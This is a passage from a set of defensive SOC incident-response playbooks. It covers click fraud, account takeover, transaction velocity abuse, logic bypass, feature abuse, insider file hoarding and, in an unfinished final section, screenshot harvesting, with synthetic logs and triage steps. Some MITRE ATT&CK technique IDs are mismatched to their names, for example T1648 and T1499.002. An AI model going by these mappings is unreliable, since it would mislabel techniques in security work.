- Lessons Learned: Bot detection tuning

13. SOC Perspective

Headless browsers are:

Not malware
Not exploits
Just abuse at scale

If the browser has:

No hesitation
No mistakes
No human noise

It is not human.

Detect behaviour
not browsers.

BYZZMER

[IMPACT] PLAYBOOK 80: CLICK-FRAUD PATTERNS – FINANCIAL ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-080

Use Case Name: Click-Fraud Patterns

MITRE ATT&CK Tactic: Impact

Technique ID: T1657

Technique Name: Financial Theft

Threat Category: Financial Abuse / Monetisation Activity

Severity (Default): High

Escalation Severity: Critical (if large-scale financial impact or coordinated botnet)

Applies To: Web Applications, Ad Platforms, Affiliate Systems, E-Commerce, Payment Gateways, SaaS Platforms

SOC Ownership: L1 → L2 → Fraud Team → IR Lead

Incident Type: Financial Abuse / Automated Monetisation

2. Threat Description

Compromised systems or botnets are used to generate:

- Fake advertisement clicks
- Fraudulent transactions
- Affiliate abuse
- Artificial engagement metrics
- Automated sign-ups or referrals

The attacker's goal is to:

- Generate illicit revenue
- Drain advertising budgets
- Manipulate marketing analytics
- Monetise compromised infrastructure

Unlike traditional intrusion, this attack focuses on financial exploitation rather than data theft.

By itself, high click activity may resemble marketing spikes.
Combined with automation indicators, it becomes fraud.

3. Why This Detection Matters in 2026

In 2026, click-fraud operations are often:

Botnet-driven
AI-automated
Distributed via residential proxies
Embedded inside compromised endpoints

Attackers monetise compromised infrastructure before deploying ransomware.

This detection becomes dangerous when paired with:

Headless browser activity
TOR/VPN usage
New automation scripts
High transaction velocity
Suspicious API usage

Financial abuse is often the first monetisation stage of compromise.

4. Detection Logic

Trigger alert when:

Unusual spike in click activity from single endpoint
Repeated identical click intervals
High transaction attempts from single account
Large number of ad impressions with zero browsing behaviour
Abnormal affiliate referral patterns

Increase severity if:

Source device recently flagged as compromised
Headless browser detected
TOR/VPN infrastructure used
Transaction velocity exceeds baseline
Multiple geographic inconsistencies observed

5. Log Data

Web Application Logs

```
2026-06-18 02:11:02 | CLICK_EVENT | user=device_1023 | ip=103.214.55.44 |  
campaign=finance_ad_01  
2026-06-18 02:11:03 | CLICK_EVENT | user=device_1023 | ip=103.214.55.44 |  
campaign=finance_ad_01  
2026-06-18 02:11:04 | CLICK_EVENT | user=device_1023 | ip=103.214.55.44 |  
campaign=finance_ad_01
```


Pattern shows 1-second interval precision.

E-Commerce Logs

2026-06-18 02:12:01 | TRANSACTION_ATTEMPT | account=referral_bot_33 | amount=1.00

2026-06-18 02:12:02 | TRANSACTION_ATTEMPT | account=referral_bot_33 | amount=1.00

2026-06-18 02:12:03 | TRANSACTION_ATTEMPT | account=referral_bot_33 | amount=1.00

Indicators show automation behaviour.

6. Possible Attack Scenarios

Scenario A – Botnet Click Monetisation

Compromised endpoints used to generate fraudulent ad revenue.

Scenario B – Affiliate Abuse Scheme

Attacker creates fake accounts and triggers automated clicks to collect referral payouts.

Scenario C – Transaction Manipulation

Compromised accounts used to generate microtransactions to drain promotional budgets.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Is traffic spike aligned with marketing campaign

Is behaviour human-like or automated

Is source device known compromised

Is click pattern evenly spaced

Immediate Checks

User-agent analysis

Session duration

IP ASN classification

Headless browser indicators

Velocity metrics

Decision

Legitimate campaign surge → Close

Suspicious automation indicators → Escalate to L2

Financial exposure confirmed → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with endpoint alerts
- Check TOR/VPN indicators
- Review browser automation logs
- Validate transaction patterns
- Review API call frequency

High-Risk Indicators

- Perfect interval click timing
- Headless browser + TOR
- Multiple accounts from same fingerprint
- Clicks without user interaction (no mouse movement / no scroll events)

8. Incident Escalation Criteria

Escalate to Incident if any of the following occur:

- Confirmed automated fraud behaviour
- Financial loss detected
- Compromised endpoint involved
- Affiliate payout manipulation identified

Escalate to Critical if:

- Large-scale botnet activity detected
- Brand or regulatory exposure involved
- Customer financial accounts abused
- Revenue impact exceeds defined threshold

9. Containment Actions

Immediate SOC Actions

- Block malicious IP ranges
- Disable affected accounts
- Suspend affiliate payouts
- Throttle suspicious API traffic

Extended IR Actions

- Identify compromised endpoints
- Remove automation scripts

Review access tokens
Preserve fraud evidence

Coordinate with:

Fraud team
Finance
Marketing
Legal (if contractual impact)

10. Recovery & Validation

Validate:

Fraud source neutralised
Compromised accounts secured
Affiliate abuse stopped
Transaction integrity restored

Re-enable services after verification.

Confirm no persistent automation remains.

11. Prevention & Hardening

Control: Bot Detection
Action: Deploy behavioural bot detection

Control: Rate Limiting
Action: Enforce per-account and per-IP limits

Control: Behavioural Analytics
Action: Detect uniform timing patterns

Control: CAPTCHA / Device Attestation
Action: Challenge suspicious sessions

Control: Affiliate Governance
Action: Review payout anomalies

12. Mapping to NIST Incident Response

Preparation: Fraud detection controls
Detection: Click anomaly alert
Analysis: Behavioural correlation
Containment: Block automation & accounts

Eradication: Remove malicious scripts
Recovery: Restore financial integrity
Lessons Learned: Update fraud thresholds

13. SOC Perspective

Click-fraud is often ignored because it looks like business growth.

But consistent automation patterns reveal:

Monetisation of compromise
Botnet exploitation
Financial abuse before ransomware

Treat it as:

Operational anomaly alone
Fraud when correlated
Critical when financial impact confirmed

[IMPACT] PLAYBOOK 81: ACCOUNT TAKEOVER – FRAUDULENT ACCOUNT USE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-081

Use Case Name: Account Takeover

MITRE ATT&CK Tactic: Impact

Technique ID: T1657

Technique Name: Financial Theft

Threat Category: Identity Compromise / Financial Abuse

Severity (Default): Critical

Escalation Severity: Critical+ (if financial loss or regulatory impact confirmed)

Applies To: Internet Banking, O365, Cloud IAM, SaaS Platforms, E-Commerce, Payment Systems

SOC Ownership: L1 → L2 → Fraud Team → IR Lead → Management

Incident Type: Confirmed Compromise / Active Financial Abuse

2. Threat Description

The attacker gains full control of a legitimate user or customer account using:

Stolen credentials

Phishing

Credential stuffing

MFA fatigue

Session hijacking

Token theft

After gaining access, the attacker performs:

Unauthorised fund transfers

Privilege escalation

Data export

Affiliate abuse

Account setting changes

Mailbox rule manipulation

This is not reconnaissance.

This is active monetisation.

3. Why This Detection Matters in 2026

In 2026, most ransomware and fraud campaigns begin with:

Account takeover
Cloud identity abuse
Token hijacking

Attackers no longer need malware.
They weaponise identity.

Account takeover becomes catastrophic when paired with:

Privileged access
High-value customer accounts
Cross-border transactions
SaaS export abuse
API key creation

The moment funds move, impact is real.

4. Detection Logic

Trigger alert when:

Successful login followed by unusual financial activity
Transaction velocity spike
Login from TOR/VPN followed by fund transfer
Password reset followed by transaction
New device + privilege change

Increase severity if:

High-value account involved
Admin or finance role involved
Transaction to new beneficiary
Geolocation anomaly
Multiple services accessed

5. Log Data

Identity Logs

2026-07-01 02:14:11 | LOGIN_SUCCESS | user=customer_7782 | ip=185.220.101.12 |
asn=TOR

Transaction Logs

2026-07-01 02:16:02 | TRANSFER_INITIATED | user=customer_7782 | amount=25000 |
beneficiary=NEW_ACCOUNT
2026-07-01 02:16:10 | TRANSFER_CONFIRMED | user=customer_7782 | amount=25000

Account Settings Change

2026-07-01 02:17:01 | EMAIL_CHANGED | user=customer_7782
2026-07-01 02:17:05 | MFA_DISABLED | user=customer_7782

Pattern shows post-compromise monetisation.

6. Possible Attack Scenarios

Scenario A – Internet Banking Fraud

Attacker logs in via TOR and transfers funds to mule accounts.

Scenario B – Corporate O365 Compromise

Attacker modifies mailbox rules and sends fraudulent invoices.

Scenario C – SaaS Privilege Abuse

Compromised admin account creates new privileged users and exports data.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Was login legitimate

Was transaction normal for user baseline

Was device new

Was beneficiary previously known

Were account settings modified

Immediate Checks

Login history

Device fingerprint

Transaction history (30–90 days)

Geolocation anomaly

IP ASN classification

Decision

Confirmed financial action + anomaly → Immediate Incident
Unusual login but no impact → Escalate to L2
High-value account involved → Immediate escalation

L2 Analyst – Deep Analysis

Analysis Steps

Correlate login + transaction timeline
Check MFA logs for bypass or fatigue
Review OAuth/API token activity
Check mailbox rules
Check privilege changes
Review session tokens

High-Risk Indicators

TOR/VPN + fund transfer
Password reset + large transaction
New device + MFA disabled
Admin account takeover
Multiple account compromise cluster

8. Incident Escalation Criteria

Escalate to Incident if:

Unauthorised transaction confirmed
Privilege escalation detected
Account settings altered
Sensitive data accessed

Escalate to Critical if:

Large financial loss
Admin or executive account compromised
Regulatory reporting threshold triggered
Multiple accounts affected

Notify:

Fraud team
Finance
Legal
Compliance
Executive management

9. Containment Actions

Immediate SOC Actions

- Freeze account
- Terminate sessions
- Block beneficiary accounts (if banking)
- Revoke tokens
- Force password reset

Fraud Response

- Attempt transaction reversal
- Contact customer
- Suspend suspicious accounts
- Preserve evidence

Extended IR Actions

- Reset MFA
- Audit account changes
- Review related accounts
- Check lateral movement

10. Recovery & Validation

Re-enable account only after:

- Identity verified
- MFA re-enrolled
- No persistent access remains
- No additional beneficiaries created
- No further abnormal transactions

Perform:

- Transaction reconciliation
- Security review
- Fraud pattern review

11. Prevention & Hardening

- Control: Phishing-Resistant MFA
- Action: Enforce FIDO2 or number matching

Control: Transaction Risk Scoring
Action: Behaviour-based fraud analytics

Control: Conditional Access
Action: Block high-risk ASNs

Control: Step-Up Authentication
Action: Require re-authentication for high-value transfers

Control: Real-Time Monitoring
Action: Correlate login + financial action events

12. Mapping to NIST Incident Response

Preparation: MFA, fraud controls
Detection: Account takeover alert
Analysis: Transaction anomaly correlation
Containment: Freeze account
Eradication: Reset credentials and tokens
Recovery: Controlled account reinstatement
Lessons Learned: Fraud threshold refinement

13. SOC Perspective

Account takeover is the moment intrusion becomes impact.

The attacker has moved from:

Access
To monetisation

Treat it as:

Immediate incident
Financial emergency
Reputational risk

Unlike reconnaissance,
account takeover is already damage in progress.

[MPACT] PLAYBOOK 82: TRANSACTION VELOCITY SPIKE – BUSINESS LOGIC ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-082

Use Case Name: Transaction Velocity Spike

MITRE ATT&CK Tactic: Impact

Technique ID: T1499.002

Technique Name: Application Exhaustion

Threat Category: Business Logic Abuse / Financial Manipulation

Severity (Default): High

Escalation Severity: Critical (if financial or operational impact confirmed)

Applies To: Internet Banking, E-Commerce, Payment Gateways, APIs, SaaS Billing Platforms, Fintech Systems

SOC Ownership: L1 → L2 → Fraud Team → IR Lead

Incident Type: Automated Abuse / Fraud Attempt

2. Threat Description

An attacker uses automation or scripting to rapidly execute:

Fund transfers

Payment attempts

Promo redemptions

Refund requests

API transactions

Account balance checks

The objective is to:

Bypass rate limits

Exploit race conditions

Abuse promotional logic

Drain financial resources

Test fraud detection thresholds

This is not a system failure.

It is intentional exploitation of application behaviour.

3. Why This Detection Matters in 2026

In 2026, attackers combine:

Headless browsers
API automation
Residential proxies
AI-driven scripting

To exploit weaknesses in:

Transaction throttling
Fraud scoring windows
Concurrency controls
Approval workflows

Velocity abuse often precedes:

Account takeover monetisation
Large-scale financial fraud
Operational disruption
Reputational damage

This detection becomes dangerous when paired with:

New device login
TOR/VPN access
API key misuse
Click-fraud patterns
Multiple microtransactions

4. Detection Logic

Trigger alert when:

Transaction count exceeds user baseline within short timeframe
Multiple transactions within seconds
Repeated identical transaction values
High-frequency API calls to payment endpoints
Rate limit thresholds nearly reached

Increase severity if:

High-value account involved
Transactions to new beneficiary
Multiple failed + successful attempts
Source IP anonymised
Business-hours anomaly

5. Log Data

Application Logs

2026-07-12 01:11:01 | TRANSFER_INITIATED | user=acct_4491 | amount=100
2026-07-12 01:11:02 | TRANSFER_INITIATED | user=acct_4491 | amount=100
2026-07-12 01:11:03 | TRANSFER_INITIATED | user=acct_4491 | amount=100

API Logs

2026-07-12 01:11:04 | POST /api/transfer | user=acct_4491 | response=200
2026-07-12 01:11:05 | POST /api/transfer | user=acct_4491 | response=200
2026-07-12 01:11:06 | POST /api/transfer | user=acct_4491 | response=200

Pattern shows sub-second repetition and identical values.

6 Possible Attack Scenarios

Scenario A – Fraud Threshold Bypass

Attacker splits large transfer into many small rapid transactions to avoid triggering high-value alerts.

Scenario B – Promo Abuse

Automated scripts redeem discount codes repeatedly before detection.

Scenario C – Race Condition Exploit

Multiple concurrent requests exploit logic flaw to duplicate balance or bypass limit checks.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Is transaction frequency abnormal for this user
Are transaction values identical
Is device new
Is source IP suspicious
Was login recently anomalous

Immediate Checks

User baseline (30–90 days)
IP ASN classification
Device fingerprint
API request patterns
Error/timeout patterns

Decision

Normal campaign surge → Close

Unusual but low impact → Monitor

Confirmed automation behaviour → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Correlate login activity

Check for TOR/VPN usage

Review fraud scoring logs

Check beneficiary patterns

Review rate-limit metrics

Identify concurrent session count

High-Risk Indicators

Sub-second repeated transactions

New beneficiary + rapid transfers

API automation signature

Headless browser fingerprint

Concurrent session anomalies

8. Incident Escalation Criteria

Escalate to Incident if:

Financial loss detected

Transaction manipulation confirmed

Multiple accounts affected

Fraud threshold bypass confirmed

Escalate to Critical if:

Large-scale automation campaign

System instability or exhaustion

Regulatory reporting threshold triggered

Executive or high-value accounts affected

Notify:

Fraud team

Finance

Risk management
Application owner

9. Containment Actions

Immediate SOC Actions

Throttle or block suspicious account
Suspend affected transactions
Enable step-up authentication
Block malicious IP ranges

Application-Level Actions

Enable stricter rate limits
Temporarily disable affected endpoint
Invalidate session tokens
Freeze beneficiary accounts

Extended IR Actions

Check related accounts
Investigate automation tools
Preserve logs for evidence
Review race condition vulnerabilities

10. Recovery & Validation

Confirm:

Automation stopped
No pending fraudulent transactions
Account secured
Fraud controls updated
No additional abnormal sessions

Perform reconciliation of affected transactions.

11. Prevention & Hardening

Control: Rate Limiting
Action: Enforce per-account velocity thresholds

Control: Behaviour Analytics
Action: Detect timing uniformity and burst activity

Control: Step-Up Verification

Action: Require additional authentication for rapid transactions

Control: Fraud Scoring

Action: Combine velocity + geolocation + device anomaly

Control: API Protection

Action: Implement WAF and bot mitigation

12. Mapping to NIST Incident Response

Preparation: Rate limits, fraud analytics

Detection: Velocity anomaly alert

Analysis: Behaviour correlation

Containment: Account throttle or freeze

Eradication: Remove automation sessions

Recovery: Restore normal transaction processing

Lessons Learned: Adjust fraud thresholds and concurrency handling

13. SOC Perspective

Transaction velocity spikes are rarely random.

They indicate:

Automation

Business logic exploitation

Fraud in progress

Treat it as:

Operational anomaly alone

Fraud risk when repeated

Critical when financial impact confirmed

Velocity abuse is often the monetisation phase of identity compromise.

[DEFENSE EVASION] PLAYBOOK 83: LOGIC VALIDATION BYPASS – CIRCUMVENTED CONTROLS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-083

Use Case Name: Logic Validation Bypass

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1211

Technique Name: Exploitation for Defense Evasion

Threat Category: Application Logic Abuse / Control Circumvention

Severity (Default): High

Escalation Severity: Critical (if financial, privilege, or regulatory impact confirmed)

Applies To: Internet Banking, E-Commerce, SaaS Platforms, ERP, API Services, Approval Workflows

SOC Ownership: L1 → L2 → Application Security → IR Lead

Incident Type: Business Logic Exploitation / Control Bypass

2. Threat Description

The attacker exploits weaknesses in application logic to:

- Skip approval steps

- Manipulate transaction states

- Alter workflow sequences

- Modify hidden parameters

- Replay API calls out of sequence

- Override client-side validation

Unlike technical exploits (SQLi, RCE), this abuse leverages:

- Flawed workflow design

- Improper server-side validation

- Missing state verification

- Race conditions

- Trust in client-side controls

This is not system compromise.

It is exploitation of flawed business logic.

3. Why This Detection Matters in 2026

In 2026, attackers increasingly target:

Application logic flaws
Workflow bypasses
API state manipulation
Client-side trust assumptions

Logic bypass attacks are:

Hard to detect
Low noise
Highly impactful

They often precede:

Transaction fraud
Privilege escalation
Mass data export
Financial loss

This detection becomes dangerous when paired with:

Transaction velocity spikes
Account takeover
New device login
API automation
Privilege change events

4. Detection Logic

Trigger alert when:

Workflow steps executed out of sequence
Approval status changed without required actor
Transaction completed without OTP verification
Hidden fields modified in API payload
Unexpected state transitions observed
Parameter tampering detected

Increase severity if:

High-value transaction involved
Admin or finance role involved
Multiple bypass attempts observed
Same account repeats logic anomaly
Concurrent session manipulation detected

5. Log Data

API Workflow Logs

2026-07-15 01:12:01 | INITIATE_TRANSFER | user=acct_9021 |
status=PENDING_APPROVAL

2026-07-15 01:12:03 | UPDATE_STATUS | user=acct_9021 | status=APPROVED

2026-07-15 01:12:04 | COMPLETE_TRANSFER | user=acct_9021 | status=SUCCESS

No approval actor present.

Application Logs

2026-07-15 01:12:02 | POST /api/approve | user=acct_9021 | role=USER

2026-07-15 01:12:02 | RESPONSE=200

User without approval privilege executed approval step.

Pattern shows state manipulation.

6. Possible Attack Scenarios

Scenario A – Skipping Multi-Step Approval

Attacker modifies request parameters to skip manager approval for fund transfer.

Scenario B – Transaction State Tampering

Attacker intercepts API request and alters “approved=true” flag.

Scenario C – Race Condition Exploit

Multiple simultaneous requests cause system to process transaction twice.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Was workflow executed out of sequence

Was approval actor valid

Is transaction high-value

Is user role consistent with action

Is session normal

Immediate Checks

User role and permissions

Workflow state transitions

API payload differences

Transaction history baseline
Concurrent session count

Decision

Workflow misconfiguration → Notify application team
Single anomaly low impact → Escalate to L2
Confirmed bypass with impact → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Reconstruct full transaction timeline
Review server-side validation logs
Check API parameter tampering
Check for replay attack patterns
Review related transactions
Check for automation indicators

High-Risk Indicators

User role mismatch + approval action
Rapid state change without validation
Repeated exploit attempts
Financial transaction + bypass
Concurrent session manipulation

8. Incident Escalation Criteria

Escalate to Incident if:

Transaction completed without required approval
Control bypass confirmed
Financial loss detected
Sensitive data accessed via bypass

Escalate to Critical if:

High-value transaction involved
Multiple accounts affected
Privilege escalation occurred
Regulatory threshold triggered

Notify:

Application owner
Fraud team
Risk management
Compliance

9. Containment Actions

Immediate SOC Actions

Freeze affected account
Suspend transaction processing
Invalidate active sessions
Block suspicious API tokens

Application-Level Actions

Disable affected workflow temporarily
Enforce strict server-side validation
Patch logic flaw
Audit all similar workflows

Extended IR Actions

Review historical transactions
Identify other impacted accounts
Preserve logs for forensic review

10. Recovery & Validation

Confirm:

Control validation restored
Workflow integrity verified
No pending fraudulent transactions
No additional bypass attempts

Re-enable functionality after security validation.

11. Prevention & Hardening

Control: Server-Side Validation
Action: Enforce workflow state checks on backend

Control: Role-Based Access Control
Action: Strict approval enforcement

Control: Transaction Integrity Checks
Action: Validate workflow transitions

Control: API Security
Action: Implement payload validation and tamper detection

Control: Behaviour Monitoring
Action: Alert on abnormal state transitions

12. Mapping to NIST Incident Response

Preparation: Secure development lifecycle
Detection: Workflow anomaly alert
Analysis: State transition reconstruction
Containment: Freeze account / disable workflow
Eradication: Patch logic flaw
Recovery: Controlled service restoration
Lessons Learned: Strengthen application validation

13. SOC Perspective

Logic validation bypass is subtle but dangerous.

No malware.
No brute force.
No obvious exploit.

Just manipulation of trust and workflow.

Treat it as:

Application anomaly alone
Fraud risk when repeated
Critical when financial impact confirmed

[IMPACT] PLAYBOOK 84: FEATURE ABUSE – MISUSED APPLICATION FUNCTIONALITY

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-084

Use Case Name: Feature Abuse

MITRE ATT&CK Tactic: Impact

Technique ID: T1648

Technique Name: Abuse of Application Features

Threat Category: Legitimate Functionality Misuse / Data Abuse

Severity (Default): High

Escalation Severity: Critical (if sensitive data or regulatory impact confirmed)

Applies To: SaaS Platforms, Internet Banking, CRM, ERP, HR Systems, Reporting Portals, API Services

SOC Ownership: L1 → L2 → AppSec / Fraud → IR Lead

Incident Type: Business Feature Misuse / Large-Scale Data Extraction

2. Threat Description

The attacker does not exploit a vulnerability.
Instead, they abuse legitimate features such as:

- Bulk export
- Advanced search
- Report generation
- Data sync
- API query endpoints
- Audit log downloads

These features are designed for operational efficiency.
When abused, they become powerful data extraction mechanisms.

This is dangerous because:

- Access may appear authorised
- No malware is used
- No exploit signature exists
- Activity may look legitimate

3. Why This Detection Matters in 2026

In 2026, attackers increasingly prefer:

Low-noise techniques
Living-off-the-platform tactics
Data theft through legitimate workflows

Feature abuse is common in:

Account takeover cases
Insider threats
API automation attacks
Credential stuffing campaigns

This detection becomes critical when paired with:

New device login
Privilege changes
Transaction velocity spikes
Login from TOR/VPN
Large data access anomalies

4. Detection Logic

Trigger alert when:

High-volume export triggered
Unusual bulk report generated
API search requests exceed baseline
Large dataset downloaded in short time
User accesses records outside normal scope

Increase severity if:

Sensitive dataset involved (PII, financial, HR)
New device or ASN observed
User has no history of export activity
Multiple export jobs triggered consecutively
Data downloaded outside business hours

5. Log Data

Application Logs

2026-08-21 03:12:01 | REPORT_EXPORT | user=finance.user1 | dataset=Customer_Master | records=125000
2026-08-21 03:12:05 | DOWNLOAD_COMPLETE | user=finance.user1 | size=950MB
2026-08-21 03:12:15 | REPORT_EXPORT | user=finance.user1 | dataset=Transactions_12M | records=580000

API Logs

2026-08-21 03:10:22 | GET /api/search | user=finance.user1 | query=* | limit=50000

2026-08-21 03:10:30 | GET /api/search | user=finance.user1 | query=* | limit=50000

Pattern shows bulk extraction far beyond baseline behaviour.

6. Possible Attack Scenarios

Scenario A – Post-Account Takeover Data Harvesting

Attacker gains valid access and uses export tools to steal entire customer database.

Scenario B – Insider Data Theft

Employee preparing to resign exports large datasets for personal gain.

Scenario C – API Automation Abuse

Scripted queries enumerate entire dataset via search API.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Is export volume abnormal

Is user authorised for bulk export

Is behaviour consistent with job role

Is device recognised

Is activity outside normal time window

Immediate Checks

User baseline export behaviour (30–60 days)

Dataset sensitivity classification

Login context (IP, ASN, device)

Concurrent suspicious activity

Decision

Normal quarterly report → Close

Unusual but authorised → Escalate to L2

Large sensitive dataset + anomaly → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Reconstruct full session timeline
Review API logs for enumeration pattern
Check for new device fingerprint
Correlate with identity anomalies
Check for TOR/VPN or hosting ASN
Review data classification of exported records

High-Risk Indicators

Export > 5x normal baseline
Sensitive dataset + off-hours
New device + bulk export
Multiple datasets accessed sequentially
Export followed by account deletion or password change

8. Incident Escalation Criteria

Escalate to Incident if:

Sensitive data exported abnormally
Bulk API queries exceed thresholds
User behaviour deviates from role baseline
Large file download confirmed

Escalate to Critical if:

PII or financial records involved
Regulatory reporting threshold met
Multiple datasets affected
Confirmed malicious intent

Notify:

Data protection officer
Compliance
Legal (if required)
Business owner

9. Containment Actions

Immediate SOC Actions

Terminate active session
Suspend account temporarily
Block API tokens
Prevent further exports

Application-Level Actions

Disable bulk export feature temporarily (if needed)

Reduce export limits

Implement rate limiting

Extended IR Actions

Identify exact records accessed

Determine data exposure scope

Preserve logs for regulatory review

10. Recovery & Validation

Confirm:

No further export attempts

Account access revalidated

No additional suspicious sessions

Export logs fully reviewed

Re-enable account after business validation.

11. Prevention & Hardening

Control: Role-Based Access

Action: Restrict bulk export to least privilege

Control: Export Rate Limits

Action: Cap maximum records per export

Control: Behavioural Monitoring

Action: Alert on abnormal export volume

Control: Data Classification

Action: Higher monitoring for sensitive datasets

Control: Conditional Access

Action: Require step-up authentication for bulk export

12. Mapping to NIST Incident Response

Preparation: Data classification and monitoring

Detection: Bulk export anomaly alert

Analysis: Session and volume correlation

Containment: Session termination / account suspension

Eradication: Remove malicious tokens
Recovery: Restore controlled access
Lessons Learned: Tighten export controls

13. SOC Perspective

Feature abuse is dangerous because:

Nothing is “hacked.”
Everything is “used correctly.”

But scale and context expose intent.

Treat it as:

Low risk for normal operational reporting
High risk when behaviour deviates
Critical when sensitive data leaves the platform

[COLLECTION] PLAYBOOK 85: INSIDER FILE HOARDING – STAGED DATA THEFT

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-085

Use Case Name: Insider File Hoarding

MITRE ATT&CK Tactic: Collection

Technique ID: T1005

Technique Name: Data from Local System

Threat Category: Insider Threat / Staged Data Exfiltration

Severity (Default): High

Escalation Severity: Critical (if sensitive or regulated data involved)

Applies To: Endpoints, File Servers, SharePoint, Network Drives, DLP Systems, EDR

SOC Ownership: L1 → L2 → Insider Threat / IR Lead

Incident Type: Suspicious Data Aggregation / Pre-Exfiltration Activity

2. Threat Description

An insider or compromised employee account begins systematically collecting sensitive files to a local system before exfiltration.

Typical behaviour includes:

- Copying large numbers of files from shared drives

- Accessing sensitive folders outside job scope

- Downloading archives from internal repositories

- Staging files in local temp folders

- Creating ZIP/RAR archives

- Moving data to hidden directories

This is often a precursor to:

- Cloud upload

- USB transfer

- Email exfiltration

- SaaS export abuse

- Ransomware deployment

The attacker avoids noisy mass exfiltration by first staging data locally.

3. Why This Detection Matters in 2026

In 2026, insider-driven incidents are:

Financially motivated
Triggered before resignation
Linked to contractor offboarding
Combined with account takeover scenarios

File hoarding is dangerous because:

It looks like “normal file access”
It happens gradually
It may not trigger DLP immediately
It bypasses perimeter monitoring

It becomes critical when paired with:

New device login
TOR/VPN usage
USB insertion
Cloud upload spike
Bulk compression activity

4. Detection Logic

Trigger alert when:

High volume of file read/copy activity in short window
Access to sensitive folders outside normal role
Rapid file access across multiple directories
Bulk downloads from SharePoint / file servers
Large local file creation spike

Increase severity if:

Sensitive data classification involved (PII, HR, Finance)
User accessed data not previously accessed
User is in notice period / termination stage
File compression tools executed
USB device connected
Cloud storage app launched

5. Log Data

File Server Logs

2026-09-11 19:02:14 | FILE_READ | user=amir.z | path=\finance\payroll\2025_salaries.xlsx
2026-09-11 19:02:16 | FILE_READ | user=amir.z | path=\finance\customer_master.csv
2026-09-11 19:02:19 | FILE_READ | user=amir.z | path=\legal\contracts\all_active.pdf

Endpoint Logs (EDR)

2026-09-11 19:05:11 | FILE_CREATE | user=amir.z |
path=C:\Users\amir\Documents\backup.zip | size=1.2GB
2026-09-11 19:05:21 | PROCESS_START | user=amir.z | process=7zip.exe
2026-09-11 19:06:02 | FILE_WRITE | user=amir.z |
path=C:\Users\amir\Documents\backup.zip

Pattern shows sensitive file aggregation followed by compression.

6. Possible Attack Scenarios

Scenario A – Resigning Employee

Employee preparing to leave copies sensitive customer database locally.

Scenario B – Compromised Corporate Account

External attacker uses valid credentials to gather high-value files before exfiltration.

Scenario C – Data Broker Theft

Insider aggregates proprietary data for resale.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Is file access volume abnormal for this user
Is the data sensitive
Is this within job scope
Is activity outside normal hours
Is compression activity observed

Immediate Checks

User file access baseline (60–90 days)
Data classification tags
Endpoint activity (archive creation, USB use)
Concurrent login anomalies

Decision

Normal operational task → Close
Unusual access but low sensitivity → Escalate to L2
Sensitive bulk access + staging behaviour → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Reconstruct file access timeline
- Identify total volume accessed
- Check endpoint process logs
- Check cloud sync or email upload activity
- Check USB connection logs
- Verify employment status (HR coordination if required)

High-Risk Indicators

- Access across multiple departments
- Access outside job function
- Bulk compression activity
- Hidden folder staging
- File access followed by account password change
- Termination/resignation notice

8. Incident Escalation Criteria

Escalate to Incident if:

- Sensitive data aggregation confirmed
- User accessed data beyond role permissions
- Large compressed archive created
- Abnormal file copy volume

Escalate to Critical if:

- Confirmed exfiltration attempt
- Regulated data involved
- Multiple repositories accessed
- Evidence of malicious intent

Notify:

- HR
- Legal
- Compliance
- Business unit owner

9. Containment Actions

Immediate SOC Actions

Suspend account access
Isolate endpoint (if malicious intent suspected)
Block USB access
Disable cloud sync temporarily

Extended IR Actions

Preserve endpoint forensic image
Identify exact files staged
Block further data movement
Review email and upload logs

10. Recovery & Validation

Confirm:

No further abnormal file access
All active sessions terminated
Endpoint integrity validated
Access permissions reviewed

Re-enable access only after management and HR approval.

11. Prevention & Hardening

Control: Data Classification
Action: Tag sensitive datasets for enhanced monitoring

Control: Behavioural Analytics
Action: Alert on abnormal file access patterns

Control: DLP
Action: Detect bulk local file staging

Control: Least Privilege
Action: Limit cross-department file access

Control: Offboarding Controls
Action: Increase monitoring during notice period

12. Mapping to NIST Incident Response

Preparation: Data monitoring & DLP
Detection: Abnormal file access alert
Analysis: Behaviour & volume correlation
Containment: Account suspension / device isolation

Eradication: Remove malicious tools
Recovery: Controlled re-access
Lessons Learned: Tighten data governance

13. SOC Perspective

Insider file hoarding is rarely noisy.
It is patient.
It is deliberate.
It often happens before the real damage.

Treat it as:

Low risk if within job baseline
High risk when cross-department data accessed
Critical when staging and compression observed

[COLLECTION] PLAYBOOK 86: SCREENSHOT HARVESTING – SCREEN SURVEILLANCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-086

Use Case Name: Screenshot Harvesting

MITRE ATT&CK Tactic: Collection

Technique ID: T1113

Technique Name: Screen Capture

Threat Category: Endpoint Surveillance / Credential Theft

Severity (Default): High

Escalation Severity: Critical (if privileged account or sensitive data exposed)

Applies To: Corporate Endpoints, VDI, Remote Access Systems, High-Privilege Workstations

SOC Ownership: L1 → L2 → DFIR Lead

Incident Type: Suspicious Endpoint Behaviour / Data Collection

2. Threat Description

Malware installed on an endpoint periodically captures screenshots of the user's desktop.

The objective is to steal:

Credentials entered into web portals

MFA codes

Financial dashboards

Customer databases

Email content

Confidential documents

Unlike keylogging, screenshot harvesting captures contextual information — including:

Password manager popups

Privileged consoles

Banking transaction screens

Internal dashboards

This activity is stealthy and often runs in the background with scheduled intervals.

3. Why This Detection Matters in 2026

In 2026, modern malware combines:

Screen capture
Clipboard scraping
Browser session theft
Token harvesting

Attackers prefer screenshot harvesting because:

It bypasses encrypted traffic
It captures MFA codes visually
It steals business intelligence
It supports espionage and fraud

It becomes critical when paired with:

Suspicious outbound connections
New process injection
Privileged account usage
TOR/VPN login activity
